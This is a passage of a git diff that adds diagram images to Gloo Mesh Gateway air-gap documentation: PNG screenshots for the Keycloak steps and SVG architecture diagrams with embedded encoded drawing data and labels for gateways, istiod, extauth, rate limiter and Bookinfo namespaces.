jZgmXHUwMDFhQGlEmmovOqTO6fO+pqY2XHUwMDEzn5fqc1xua1x1MDAwNk6lXHUwMDE0XHUwMDExLKlcdTAwMTFinK8npVxibJqtbU5K+eLCzduxvlxmlDBcdTAwMDJQbuqBXHUwMDEwo72kY1xiseRcYkkhgdRcdTAwMDGf/0rI3Das+e2yNZvE0aSHmjGRfLl5OZ5JN/BcdTAwMDZyjVx1MDAxM1MvSYKyXHUwMDE0bH1SwmJcdTAwMWOmy0yuhTJ1hr+0cIu5Uvf803XCXHUwMDBlXHUwMDBlubmXXHUwMDFkMWE6c3DsW7h5XHUwMDFm/kZTuCkuLWpcbidppMzrKnKjpo1cdTAwMWM31ivwhlx1MDAxNiFcdLcg7FKspKJaIf0t3D6Qm0ZcdTAwMWGUljI97/RSQpktrlloQiQyaVx1MDAwM0KzXHUwMDFkcza2XGK2xqbnmvHLmv63cNd1Y1lbQFx1MDAwMyBtmYBXRNejXHUwMDExv83SoyOfZ7zCxierwc1cdTAwMTLNXHUwMDBiVfr3jnv3noyqd5xSZSnjXHUwMDAz4dS8LlekJSA1LKBIjIEgTYE4V/nmpzCnm3wjXGIgou1iTtWYibC0/bK5XHUwMDAwf/nNXHUwMDExQlx1MDAxY1x1MDAwMSxcYk3A7XPqXHUwMDFiK9Uuhycn/Sc6qMdzOJesvlTbf9tpfbczrtC7O+9wXHUwMDE45clzXHUwMDE0uyZcdTAwMTRgXG57qMQ2XHUwMDExUKfqLJ1cdTAwMTiOUoVutlwiXHUwMDBijdok91hcdTAwMWHuXHUwMDAyKlZdymGynFiKuF3JXHUwMDA1JYT7YzlcdTAwMWapoP9TKLNCqbDOcjtcdTAwMDbcKlNcdTAwMTZGko3F/lx1MDAwZsNiyZvMSXJcdTAwMTDrTlx1MDAxMyd3qUq5VFx1MDAxOaDCvTMrfFx1MDAwN1ZsP25Iy1x1MDAxYviwm87onW/4XHRi0e2Mnlx1MDAxMtduQKZcdTAwMGVcdTAwMTPSW1x1MDAxOFneq1x1MDAxOVlcdTAwMTBcIoSXRKTYwn4k4mpcdTAwMTRZWCf0iplcdTAwMTRcdTAwMTWk/6hcdTAwMTN6MHH6MLujfzpVuOE4P7Wvc+iH81x1MDAxYvT86uH8r8n+mupcdTAwMWVwRbjmditcdTAwMDVUwOVcdTAwMTZcdTAwMWQrR3GKUuU7hcfiflwixvhiXHUwMDE0P9+pcv9nolx1MDAxNa49eJNcdTAwMTJcdTAwMWNVtEKUYFx1MDAxOMtcdTAwMTCrVOxcdTAwMDNWmsnhRFeSs1Luslm7XHUwMDFinVXvprGbb7BcdTAwMTJcdTAwMTRYXHRpeUNcdTAwMWFcdTAwMTY/dIqi+PBaaJRcdTAwMWZP0XHi9lx1MDAwNI2vorhcbpuwlfNcclx1MDAwZomttGvsgalcdTAwMDGvXHUwMDE52abVovd6Rlx1MDAxN10xT1x0LiOFrlxiXCIm116Tw1x1MDAxOZlcdTAwMDdAV+X8YDguXHUwMDBmhlx1MDAwN4JXXHUwMDFigMkqvPqY7f74iktXXHUwMDE3rHFcdTAwMDQpKrewfopXb9WHdOn6rsFOX++fO/VkZpCNPH9yjVx1MDAwMN5I0/jCvMqVXHUwMDAwZayUZbpfmFx1MDAwMzfKkUdh68P7YKUpqSflXHUwMDAxY5e91GFYPtiH4e372bRRKVaHp/HOcbzcz8RlXHUwMDAw44rnYeEuX7mKlc5fY7n7e35+9uziXHUwMDFhiYZvl7mHMSuiXHUwMDA1ZsI/LzevqzeZRDVcdTAwMTc/XHUwMDE3zye3hfPnh0LmzoWXo2IrgVx1MDAxNrW0XHSVQPPXlf5+hCDsj5P9XHUwMDE4S4SoQtkpzm8nY4kzRFx1MDAxOJJcdTAwMTEtpfA+7j+Parex7nMzO5m1XHUwMDA3zbPHK/ptLFx1MDAwNWUshbS8X2XYTUaN81xyP0HWulx1MDAxOTXMvZskloTSeVFy34LWez2jXG6aXHUwMDA0XHUwMDE2nqJcdTAwMTZri/hcdTAwMTG1oVg1ZFx1MDAxZFx1MDAxOSFcdTAwMDHGJqIovMDpKFo1k2F+NKzZV/fDlLFcdTAwMWRcdTAwMDNvZ8pcZru2p1xcsWM2gIY1O+bn/HZHPFx1MDAxY7lGyMGiaonpXHUwMDE25kvqViU7N3dPXHUwMDBm+UlPXuTfSn2SdosgiVx1MDAwZeShXHUwMDE2cq3mQVx1MDAxOY0q4sHMVKeXiERcdTAwMTPydE/VKz95f6+25U1fiW4lRnnrXHUwMDFi8lx1MDAwNFx1MDAwNXlCWt4/fNhNSMr5hlx1MDAwN0RSXFy4XHUwMDA2I1EjurcqTe+9nNFcdTAwMDVSykuAXHUwMDBiXHUwMDFjKVx1MDAxY2VcdTAwMTL1pcSH9DBcdTAwMWRcdTAwMDBH9eE2R616uz50yYnfXHUwMDE5TG3wXHUwMDBib0Akq3hqaZ67gyqm3Fx1MDAxM0ZcdTAwMTmBdZbb1F6KJSajXHUwMDE0rlx1MDAxNTrjx6tattu6Zej0OfKoXG55WjcysrCKYExcdDOBXHUwMDExkYRVufTb832i2p7lhrXWMPuKXoe976KcgcGqkJb3e9gwht2E1pxveEi0ZsNcYqu1M5UwrVx0tmhcdTAwMDDnvZzRRWvcUzHoaME1QbXgiKo/yuvVL5fqg0+FaVx1MDAxYiDOXHUwMDFhTJtPcCdcdTAwMTa0p1Y7QDOlmS1cdTAwMWZ3I1x1MDAwZk57SUZcdTAwMTKzQfKcXsdcdTAwMGLZdmI2lMG2ulx0oZWXMtHIhGIsselcdTAwMGKwklx1MDAxMopcdTAwMTC2mDSdaU23L+XRXHLCz3G9XHUwMDFiNiPUoXqHXFzLaGdUU5hHeLbSppRPL312oNNtR95Wfnm72up2Y+3yoFx1MDAxNsuXSt3O4J9OJ1x1MDAwZr9cdTAwMDJcdTAwMDGVXHUwMDFkOV7sXHUwMDFhsOPh5V56ilXe9pqgJ8e7ZoFL9/RcdTAwMDRMleLYXHUwMDE08fHN8t67XHUwMDFlTZZXXFyZ1mGm+4TJuV2tIFxi1GZhXGYsj1x1MDAxOONGXHUwMDAyhsLyoNAtTkxjV0I44cqh76pcdTAwMTZcdTAwMTZinGFgecax0Fx1MDAwZT5vrkw5h9+9fI+3Xjla6bVcdTAwMDL2qknmUJiATY3WS+VwXHUwMDBiYIzWiGNYPYTYeqlcdTAwMWNfWeDewWnLk2JARlx1MDAxOFxiyrSBoaYvzdqkMLVcdTAwMDRcdTAwMDFArCSjSCPK1lx1MDAwYm98qVx1MDAxYVx1MDAxN67kba41wl5cZveX/efWsk24d7fCXG6oXHUwMDEybSXbMvpsnH9rXvWGtPhwXptVivwkXHUwMDE5cdkmJVx1MDAwNWpjlFx1MDAwMqI3nSCXO6rDu8JcItxUv+CcUupcdTAwMTF86KPKt5to49RcItqU0eBcdTAwMDZY2TtXLyqTYWExQkH8Sqq5oOt+JySwXHSg/E3KW7i3g3ZcdTAwMTMvlfOH3mzKn64ntfiDbI7e6mmBncRcdTAwMGKyqIkpnVx1MDAxZn1iXHUwMDEz9LVesYwoS2tT3Vx1MDAwNJu6M0jRQIpcdTAwMWZcdTAwMWVOuLhcdTAwMTLY/NM12tpSumxoI+BcdTAwMWEgQIHbTJ90/1x1MDAwMqZfXHUwMDFjxYfj8mkn28pccmKTbGv0lq5GW8AwtJzaqVc9XHUwMDE2hFumKzJcdTAwMDdS45Iw91x1MDAxMjpcdTAwMDdoMFx1MDAwNUpJKGbvcVx1MDAxZiVfdqfdXHUwMDFhTnlBXHUwMDFmJ15v8lx1MDAwZmX0TFSn8+3LXHUwMDBlypdcdTAwMWTS8n6tYcPqXHUwMDA0XHUwMDE1+HQ3ObOdb7hcdTAwMTh2jVnDdmZcdTAwMGLq3l9GI2NtMP+KwXs5I+rMZlx1MDAxOHurXHUwMDA2RixcdTAwMWWUalxiJPiAmTKW7IBcdTAwMTFjXHUwMDA38GZ3usNYvTN3KX2qT3tcdTAwMDPWWfV72ae5O1qji1x1MDAwNrBr9qBcdTAwMTbzftJbXHUwMDE0JzordWr1UneQqbAn1a6c9kbTUmlcdTAwMTe49nmRXHUwMDA3XHUwMDA2rjHb+dKKd5tibZkyutq01cZCubu6/ERcdTAwMWVcdTAwMDSL1pjAmjBcdTAwMWNic+N9wFx1MDAxYeXdXFxudElcdTAwMDeV7HHzqV0/a749XHUwMDA1kFxmXHUwMDEx0rBhYcD32HN2dFvrJluyWLl6KXdnyYFcYmDc2VSq01x1MDAwYpzPlpM5ctd4uaCDqUui+1bjfq1dXHUwMDBifNhNoMr5hlx1MDAwN1x1MDAwNFV0UaF4XHJUMU2R3Fx1MDAwMlN5r2aEMZWX/KYmayYg+Vx1MDAxZFxipMJSKlwi+Fx1MDAxZlx1MDAxNc55XGI4tVx1MDAwMYusXHUwMDE3UPJcdTAwMDGlXFzz05BrkFx1MDAwMOhoptA2UdXj/Eui+jbpXHUwMDBllHx8vjohddS/jniMXHUwMDAwV6ZbXHUwMDExcFx1MDAxOfBcdTAwMThVfMWuwVorXHUwMDBi1sH0XCKTxDQ9crdr9jkvZFx1MDAwZahpPUTAgFol7Fx1MDAxMCtKMVx1MDAwMsfZ8vQ1p1DnjvR65YLCj2ePY396fVx1MDAxZt3jyN6+Y1x1MDAwNGrDYa9Q70QuNMBhXp7s7XpqppBHRIDkQkngcd9cZu69x5FkcIGZRak0bfqUkLaeL79cdTAwMDJcdTAwMDLmh2bYRFxmKMn3q9jhyt9cYkwxQbRcdTAwMDCjjFIwS1x1MDAxZFwigpSytOk8Y/q7XGKu9VpVeHN+TDjBh+P+T4lcdTAwMDfw1iFHK/FcdTAwMDBcdTAwMDJcdTAwMTNcdTAwMDSGpCBcdTAwMTgzW3WoI+d4XHUwMDAwpnesXG5/3lx1MDAxZaFY73Jw1ku/n5XG7StcdTAwMWXrPLpMSlx1MDAxMMBqUnBGqeZwy7U5XHUwMDExZFx1MDAxMU2IXHSB1YZcdTAwMDNcdTAwMDVbm9SXOrFzp25zrdH1Yry/7D+3lmyYeFx1MDAxNKcmpmecIP4tiGqJTVvN4clrpXaabLbFaV9lol8ujDBh75e6XHUwMDE45Vx1MDAwN3iRzKdT1keIsWvFR2lJ26WIQ8tcdTAwMGKbZPjlXHUwMDAwMi5zXHUwMDEz+vx7XGIz91x1MDAxMIClT75cdTAwMTJbu26ruYDnt2RjN/tcdTAwMDO7n7mDTFx1MDAxN4hKofx7cVPTjMbvpHrffcje8GL1Vdev41HnYlx1MDAxMI9cdTAwMTZRXFxiNn+1XHUwMDE543OEXCJcdTAwMTS2XHUwMDAwvSAkwESxcdcuZ+6uVVvlOtPa+kt8XHUwMDE0xuBcZlx1MDAxMIj4slxyU3fyXHUwMDAwvGNHk1x1MDAwMKulb4ZvXHUwMDEywDx24jDiblx1MDAwMVBGwZrU27T0PCfN4mnh7vYmO0SPTN9ORu3TqDNcdTAwMThGXHUwMDA0m96PiElhXpVcdTAwMDOHXHUwMDA1dnjpymPEqUzfXHUwMDFhj2lcdTAwMDRcdTAwMDaZJl+29dNuLEZcIsJiZDdcdTAwMTazN1x1MDAxYlthMcZN8UXsn8NiZ29Xgp/ELlK5e3lbQI2LonZrXHRcdTAwMWVcdTAwMWRcdTAwMGVcdTAwMDOIXHUwMDAwZrRrXUzDYbZcXDfs3jb3M7RcdTAwMThjoE1xiEVr93GjXHLP9Szz/JScNkmin1x1MDAxZo/iMj1KXHUwMDFjyI325+hIj+ZiSJluqJT7d4M/XzJ1L0coVmvmU6p1rp7SXHUwMDA0R56FlYnc11x1MDAxZrbkauaMYWFJsZCUXHUwMDBi6Zk4XHUwMDEzuo5k5lx1MDAxMjjEblx1MDAwMd86MnBcdTAwMWRcdGaDu6GHMNh6bItCiHdJ2uhcdTAwMGZGk1x1MDAwNpGpm5tcdTAwMWXqjMRr40uwXHUwMDE4llxmrNr5K1tlMU6XWMwjXHUwMDFmdVx1MDAxZlx1MDAxZXPIRnPgMS05YFx1MDAxN/Vn8Vx1MDAxOI1cYo/RPeLiXHUwMDA0do2rwIJyplx03qJccs7b+fTmqlx1MDAxNzvr3d63mi+llCalZMRzQLnpcv5cdTAwMTGpilazpCizXHUwMDE4Nr0kXGJcdTAwMDdTcD8kXHUwMDFhcFx1MDAwZYM05XhomCmf+4TFjYu9XG7J3z2+NTvXzX5nfD1cdTAwMWRfY2dkXHUwMDFhhfi1r5bDXHUwMDEw0vJ+rWHDymH4KquwKYrP+YaLYddkQNhRfFx1MDAxMrtHYYN45ZLKLSwn7/WMKKzjXHUwMDEyeelcdTAwMWKOLVx1MDAxZJC+XHSkurVASJraXHUwMDA3XHUwMDA30zFcdTAwMDdcdTAwMDB2XHUwMDAzgEulfL90dNMtOUO8kEL5NsCnVeC3NM/dISBj7kVcdTAwMTmFwExRtEXQT6P5lkT9XHUwMDBlK87iV1x1MDAxNNVOR1x1MDAxNyfZwi5cdTAwMTDw81IjOOAvRj5KpfLlqD5KXGIyjeyZXHUwMDA2g4xJ6e7v//zMXGKKXHUwMDE5JWBcdTAwMGVHM421z1u9jErdnFx1MDAxZt8m6+k0ib91z5/3V6MhXHL7nVx1MDAxOfFcdTAwMTV37atcZrtcdKo53/CAUM2rVC8nnNGtPHDe61x1MDAxOVWoJrSnXqDSXHUwMDEyXHUwMDAx6YUgsFx1MDAxYZeMaIXYXHUwMDFm1V5cdTAwMTGgz9G4PqxcdTAwMWSddd67zq1cdTAwMTXDQmtcdTAwMWKQzipaW5np7niNM9fjJ7BcdTAwMWOYwKa7om/OpGcjXHUwMDE1O21ke4VKMffQyZSqr6dcdTAwMTGvPMJcdTAwMDUxVWx+MeaKY9x0SbKEhi9ITlx1MDAwNaAjjyyMPUpcdTAwMWLtXHUwMDA22MCWwlxuR7SLYuflXCJ1LVKZM85mmaeH6tWEpXl0gdVXc9mFtLwhXHL7oG+1oirXaL5cXParalx1MDAxY1x1MDAxZr2NXHUwMDFiXHUwMDAxrEKmjmJtWXu+b9xfZd9FKybKNZfWJNtcdTAwMTUoR0VZzaN+XHUwMDFhP1xm7/OJOErgN5e6I9vB7PNZc5qjsfq0dHxKs49o2r1xKc691bhcdTAwMTc9mkZj1Eu2T28vXHUwMDA24zFcdTAwMWU+ZoNoWVx1MDAxYTg5bKy/4njDXHUwMDAzXCJXrl2djFpqSYncXCJJ0Xs5I1x1MDAwYlxcpaeCJMLCvlx1MDAxNOQnXHUwMDE1XHUwMDEzp1x1MDAxOFNuR9B/XHUwMDAwcE20ut2jTHlQ+3Qv41x1MDAwNsS3iluXJ7pcdTAwMDds5Vx1MDAxZWWRhFx1MDAwNGLdXCKyuJsulcWdzOerXHUwMDBmg/vbzuvje0VPvlx1MDAxNGqlaoUptbSIXHUwMDA0Plx1MDAxMFx1MDAxONmbIFx1MDAwNVx1MDAxYfK420GzgslcdTAwMTLFQ4yg2lx1MDAwN7WmT65cdTAwMTkqT1x1MDAxYsfTdKkpXvX1Y+Lu+lx1MDAxYrVcdTAwMDaFWkNa3q81bFhcdTAwMDfNgU93XHUwMDEzWHO+4Vx1MDAwMcGacD9cdTAwMTFcdTAwMTYgXHUwMDA2keTYP1jzXs6vXHUwMDAx1lb1XHUwMDAyw8ySPvTCZ0E1zZXQ7I8qlJdcdTAwMWFcZuvdT4dpXHUwMDFiIM4qTFtMcic+5Mq1slx1MDAwYsEm9Vxc8S3KXHUwMDE5N+RjN/HUK72c5kQp/Z6Pl1x1MDAxZVx1MDAxMm7wLDqMqIRlK1q5nFx1MDAxZVxyklxi+/P271x1MDAxYplhy3L+4EO6npdcIpWprqTp4VwiM7xcdTAwMTTbZV/VXHUwMDFln1x1MDAxM7fZN9Eutlx1MDAxM8f160fq02uyj1xucuRz3+VdLsvVcseZyW1h0J9cdTAwMTPU+3Muu+lU6Vx1MDAxYTyP4TOikb3L0MbeXHUwMDA3vedBdnJ+Uyr3XlP0Urau88noJ3EyqSxJXHUwMDA0XHUwMDEyXHUwMDAyXHUwMDFijbXCzWDSKEubSk1cYoFpw0JkZ+mQZubAzqa3Jlx1MDAxMUxE08aS99lZ4zk9eKuQbC+f6ov0XHLKR52dT1v1pVx1MDAxZDkkO/+ciyc7u1dlcu9ljVx1MDAxOadcdTAwMTIpKvxcdTAwMDdoee9lJF0nmJlcYi3QykRSolx1MDAxMLfV8v3BzaC5JWVCUUKU5numZLv3aTJVLoTUXHUwMDFjY0xAhDh0M5HzjFx1MDAxZEKx0iY+X68zOkVKmza/XzVl22dhJm+tcWRvWoLhzvO6lVRxgDVcdTAwMGKn1NFHSyRmXHUwMDExQcA0XHUwMDAyToDtV+tcdTAwMWSRfo8qKjF3XHUwMDEyM9dcdTAwMWFxLcb7y/7TyNz5XHUwMDFk/s73etkhbPHHRv39Xi+PT9zjXHUwMDEy//q5qEZcZpTNY/3nv3/99/9cdTAwMDOGPuFbIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo-frontendsnamespacebookinfo-backendsnamespaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/efault/images/steps/deploy-keycloak/bookinfo-oidc.png b/gloo-mesh/gateway/2-4/airgap/efault/images/steps/deploy-keycloak/bookinfo-oidc.png new file mode 100644 index 0000000000..4f8ca57cfb Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/efault/images/steps/deploy-keycloak/bookinfo-oidc.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/efault/images/steps/deploy-keycloak/keycloak-authentication-dialog.png b/gloo-mesh/gateway/2-4/airgap/efault/images/steps/deploy-keycloak/keycloak-authentication-dialog.png new file mode 100644 index 0000000000..ee079688d5 Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/efault/images/steps/deploy-keycloak/keycloak-authentication-dialog.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/efault/images/steps/deploy-keycloak/self-signed-cert-error.png b/gloo-mesh/gateway/2-4/airgap/efault/images/steps/deploy-keycloak/self-signed-cert-error.png new file mode 100644 index 0000000000..17674252db Binary files /dev/null and b/gloo-mesh/gateway/2-4/airgap/efault/images/steps/deploy-keycloak/self-signed-cert-error.png differ diff --git a/gloo-mesh/gateway/2-4/airgap/efault/images/steps/gateway-expose/gloo-mesh-gateway.svg b/gloo-mesh/gateway/2-4/airgap/efault/images/steps/gateway-expose/gloo-mesh-gateway.svg new file mode 100644 index 0000000000..a7c7d4a9e0 --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/efault/images/steps/gateway-expose/gloo-mesh-gateway.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVcqS7bu+/5cdTAwMTWOfV6LvNE351xyQVHAXHUwMDA2afXWXHUwMDFkXGZ6UPpWPeP89zuDtZZkQmbSS1LbrFx1MDAxYbiXYGRcdTAwMTA5m2/2//PXxcXf449+7e//vvi79l4ptVvVYWn297/M76e14ajV68JbZP7vUW8yrMw/2Vx1MDAxY4/7o//+P/+n1O9bi7+yKr3Or7+stWudWnc8gs/+X/j3xcX/zF9t91x1MDAxYdYq41K30a7N/2D+1uJ2nPPl3973uvNbU6JcdTAwMThi6Ovt1ihcbjdcdTAwMWLXqvBevdRcdTAwMWXVXHUwMDE275hf/c1Sd4VEuvlRu3lcdTAwMTKF8Gv7aproNVx1MDAxN/est9rt9Pij/etblSrNydC2o9F42Hur5VvVcVx1MDAxM97HS7//+rtRXHUwMDBmvv/ir4a9SaPZrY1Gjr/p9UuV1vjD/Fx1MDAwZS22/+tcYv77YvGb9/mXxMxSSHNC569cXH69/fHrbVx1MDAwYn5JXHSjXHUwMDAycy2XN1x1MDAxNum1e0Ozsf9CStZ5ebG1cqny1oD9dauLz2BSVkosPjP7/XVcdFJcdTAwMTaxXUx8faRZazWaY/NcdTAwMTlcIixtv9hiK7X5M9Fcblx0RbkmX2+Y+/dvq1x1MDAwYtr49SBSZZK6S2Re009cdTAwMDPaQbdvZVx1MDAxNn762lx1MDAxNHwgW81fo2j4IfPc6qviQKGBXGLd/v37/f+3/GiapWH/9yP4e2T+YTtcdTAwMDPz9a+WXHTUTqQ28qm+JD/fXHUwMDFh4fzb4zhS/0ySOnlcdTAwMTjnbduyUXRpOOzN/v5653//5bducvKAXHUwMDEy1UqFd8kzqjXew5lW7XmzdVe+8qRfLf1iXHUwMDAwLFx1MDAxOFx1MDAxN0hpKVx1MDAxNdZf77db3Td4sztpt/+y7WxLlmTKiyWx5JIrxanYmCs7cTK8uaHvVzzCnqZcdTAwMTVeXHUwMDBiZdUs8FxcyVx1MDAxOLGEVlxmk/krZVx1MDAwZa4kXHUwMDFhWZJJzlx1MDAwNFdcdTAwMTTOXHUwMDFmM0+2ZJojLv3Zklx1MDAxMFWuubAlJlx1MDAwNDl4TrmwpVrhQ5BcdTAwMTNcXGDBhTpcdTAwMWQjzr/hjow4eSuKTvst9pLNXFxd53u9Zrr/qFx1MDAwZcCI+Za+S5VcdTAwMGJcdM6HhcrHY1xmXHUwMDE1XHUwMDEztWSgXHUwMDE5UXrqRoKEJIRS2zNex4iT2PMoP5h2dWha/mCNUjh9nUxcdTAwMDWeXHUwMDExJaN2RmRORqSEOlx1MDAxOJFcYk9GPL1+pCA5KZNcdTAwMDKdji1PpFx1MDAxZk/DPlRcdTAwMGIv9sFaMFx1MDAwNFx1MDAxNCE2R5c3uEZaj1wiVeF8XHUwMDE0pdFCNlx1MDAxYZ92g84+XGZpbFHBkdTmVaElPSaYRTbTY2h++bLPeFjqjvqlIVx1MDAxMNMqXHUwMDBiwVx1MDAxM3ayxypcdTAwMDcpXHUwMDA1Otd28WVcdTAwMDbCiksklWIn5KB9XHUwMDE0XHUwMDFiXHJ1aLhRjNyEdL2ULoavXHUwMDEyk2LrXHUwMDAwiu0+X8qH4rnX6G1LPnaHtTtcdTAwMTFcdTAwMWQ0XHUwMDBlyZlcdTAwMDRcdTAwMWSWM0FxeXImgEtJNOVkY85s3L7me5/ZXFx8/MijfFimzcth8Fx1MDAxMSZmMiCcqeh6zsTLvChcdTAwMTiRQmIpgsuK30zUYKZ7ozWNOCebY7XLhyZcbqlioVx1MDAxOSnEroup6tsjemaBJ2kmtIU9jSaK9aZG0+mxXHUwMDFhlkggQf+BvozTaFx1MDAwNGrze61iNUAx2C5q1rFcdTAwMGZcdTAwMWE14oXMNNFcYlx1MDAxNVU+mut2RtEk+T72QbuxXHUwMDBmVnONgI3TXHUwMDEzXHUwMDEx6nRcdTAwMDRcdTAwMDI1WpxTRICBkOLoSFx1MDAxZVx1MDAwN1x0esfOXHUwMDE4dJV5qE1DfFx1MDAwMTO4XHUwMDE4VijAwOy7IVx1MDAwZfMkaI6EMN7ezW2PYnNcXJ5Gq7gjbnk3k+3E6ul6OujqXHUwMDAwjHVtRzhOcqbUiW+Oolx1MDAwYiRC66BcciYr0IZcdTAwMGJNXHUwMDE0XHUwMDEzgp2OmP9Zsp942+kgVTBcdTAwMDdpyDbmXHUwMDE1mlx1MDAxZKLG7fX7XYHdX4Y7xT5/bZSDzytcdTAwMWN58lxu4GzgXHUwMDE1TohcdTAwMDSOXHUwMDAxKM6PxSsuQFx0wFx1MDAxNLJfdJlZJGAkLjA9oVx1MDAxZLBcdTAwMGazqOkgXcyWXHUwMDFlhqrxKTOR3M0leuRBZlx1MDAxNmJzWS3rXHUwMDE1Rlx1MDAxMFx1MDAxNdvwSnE0XGJ/JipXs7eqptXH99ZDr5P04JUlmndyyjJcdTAwMWE5pkNYXGJcdTAwMWa7mVxuvKmRoVx1MDAwNKnpij+zlGusXFwtu+AkgElcdTAwMWV88cU7fFx1MDAwNSZcdTAwMTHEmKFcZnXCwMxezPJUr7Rcbvn0w0euM3n7yI5cdTAwMWFXt1x1MDAxMXdmXHUwMDE5197Hm7qv5LhVXHUwMDFl1T5cdTAwMTWJXHUwMDE3Wu1Cp1x1MDAxZapcdTAwMTUo24xcdTAwMDd9170qplwi+I7FZ73yXHUwMDFkfiyMdeLmPX2AdSvTckxGu5evmVx1MDAxNk2rm4/Ma+SqfIB1XHUwMDBmfryOT/9r01x1MDAxYn6DhHNsyCHcvCPPikhBkSabo2b/81xmKFx1MDAxMqBS+nns6Vx1MDAxY1x1MDAwYmwk3+rza3e/IOaLtb+Emi014LdQU1x1MDAxYYNRinCAXHUwMDAxwE5cdTAwMDS8oJNed5xuff7y4zl+e13qtNpcdTAwMWaORz2nbNhSq9tcdTAwMTjC7i7+3W3AXHJnpVx1MDAwZvtzXHUwMDE41eA+tTnsc/xhuN1qdOdcdTAwMTJcdTAwMDZ2Xlx1MDAxYjo4ZNyqlNpfXHUwMDFm6LSqVTs+qMBuSrDm8HZcdTAwMTO93lx1MDAxYrZcdTAwMWGtbqmdWdrsn63uXHUwMDAx5ZGnY19qQTVcdTAwMTDt5n792e0gPb7Fop1PoNfn5/prXHUwMDE1t8OBRyfMh3tcdTAwMTmXwUUnWlx1MDAxMK4kPleX593le7v+RF4+XHUwMDA3XHUwMDBmpTuaKyXTsVn2XHUwMDA3nFx1MDAxY1xunFx1MDAxY+l4j7QsznUropIrll9r+VxiXG7HUpdodr/XKazDUu5f5IRYilK9/NsvUYxcdTAwMTUjVGxhKPo/psBCKaH9hLGgXHUwMDAxg1ImTIip0CjAnsdcdTAwMTNgqVppNJ7VRuNcdTAwMTOBqTUwZFx1MDAxOUx97XZ/NMW0Z0RcdTAwMTkzOHAkyFx1MDAxNkGEaiH2cdNM80GFsufJfbXxXHUwMDFjvVx1MDAxY+5cdTAwMDKnvjM5nlxuXHUwMDBiTD5B2fxVOFx1MDAxOFx1MDAxOCNKLUCcYH9gqqm0RVxcdsiROLivR2hCXHUwMDA00Vx1MDAwMbaL/DQov3nXsVx1MDAwZe/kO9naXHUwMDA3LkZcdTAwMDY1XHUwMDFkv/yBU4eCU0c63vNaVuu3z9xzMzcjOFx1MDAxN7uJXSV7U3RcXJTm/kVOiNI4886E01x1MDAxYzGt8Fx1MDAxNlx1MDAxZS//51x1MDAxNFSYRlx1MDAxOPZcdTAwMTPyXHUwMDFjWWoh5L2DX0dcdTAwMDFpZCUziCDYXHUwMDEykECQnfincHiNxq1e1Vx1MDAxNZhh6fj0wYDZXHUwMDFhQLPi5fq1w93hXHUwMDE4R9iLV1x1MDAwMbRjiVx03zxFaVqajnJi2L9cdTAwMWG9k9az0v3XVvE14GhMKmxxJSnC81eyxKiA1Vx1MDAxOGbAplx1MDAwNFx1MDAwNJfyqcTYXHUwMDAwjHkmKO1cdTAwMDTGMJdcdTAwMWHMPKlcdTAwMDJsWPmikG43/6rRPWnqfl43SSdPp1x1MDAwZj9g7FBg7EjHe6RlczqlXHUwMDE1VZnXt5fksKFm0clg9nqAU7hroVBHNp+zr9n79FS0Q6LWbFx1MDAxZmDdXGaqyEZcdFxyXHUwMDEzODfOlmJRXHUwMDE0w4PuXHUwMDAx1n1O5Vwi/Vx1MDAwZZxG4zN8XHUwMDFij71cdTAwMGafbmfDXHUwMDAzrPs0fVx1MDAxYnTS44ouJz9vPlvZQWOQ2bBMcEdU6k4op0Sl1NPxwJigSlx1MDAxMrl5XHUwMDE4x59ccoJcbkqlXHUwMDEyfrrOQFabriNLXHUwMDFi+37XoUJcdTAwMWExbqOBwCm4XHUwMDEzgNJYu9e7uKuNmlx1MDAxN//ullx1MDAxYY7z/Vx1MDAwNsfhXHUwMDFhiLeMT1x1MDAxN5v9tdWdOJfaauNWK6tcdTAwMDRcdTAwMTeCblGGkrwpPPDSa/Ku12lcdTAwMTUjvdBL5f7+Leisy1x1MDAxMdGWXHUwMDE2inA6f+VcdTAwMGXW5VhanFJcdTAwMDJUJzT8h7fTXHUwMDFmK8FK/smUvpxLuEu5vs26/VNcdTAwMTVMXHUwMDExpZixXHUwMDAwm5O+aKTYm1x1MDAxNEbteuGj2X145s1QJVwiQ8dPoHSVXHUwMDBiyvFbXHUwMDFmuVDu9d5a3XrvYtZcdTAwMWK+wVx1MDAwM6zUXFxcdTAwMDWDraBrO8Ew7vW9pIJj88tcIsBlX75S4NeJuohcdTAwMDGgfU8xICRcdTAwMDX9tU3kwP9cdTAwMTlcdTAwMDfSVlx1MDAwNa3snVDNOd+w+GBcdTAwMDNcdTAwMTngbapcImLBc5BYXHUwMDBiXHJcdTAwMWOOqEshXHUwMDFhWLNSXHUwMDBioeBxXGKEXHUwMDAxWa1IXHUwMDA3kNdcZszcXHUwMDAwt/LYj39H49JwfNnqVlvdXHUwMDA2vLeQMH9cdTAwMWFL3W6gieZcdTAwMWNfmcxrryx4uopRguBcdTAwMDdidOGmM2dX6pvNWVx1MDAxMqCb4r9fpSa/P/GF3/+udauLPTn22y6NxpFep9NcdTAwMWHDN33stbpj129cdTAwMTQ2nNmslVZYXHUwMDFlVra/t8zCfbOi89ku/utiQeTzf3z99//7l+unQ94kaK5cdTAwMTXiW6z3l/3n1lmc2KeWT3OiXHUwMDAwW2+eelBccl1FQ9lsVqUyLZRoxsf9W4qCLnwo8658XHUwMDEy3JlcdTAwMDPmKXw2qebwXHUwMDEyPoS5gFx1MDAwZpvR9scxplx1MDAxMdaEqlNGKY8rX/bCXHUwMDA3ofpcdTAwMTA+XGIsO/p3t1vq1LyhgtjVhthcdTAwMTcquG9xN77lntnXXHUwMDA0gdlcdTAwMGZ4Wm9u9pfy7KqK463ZLe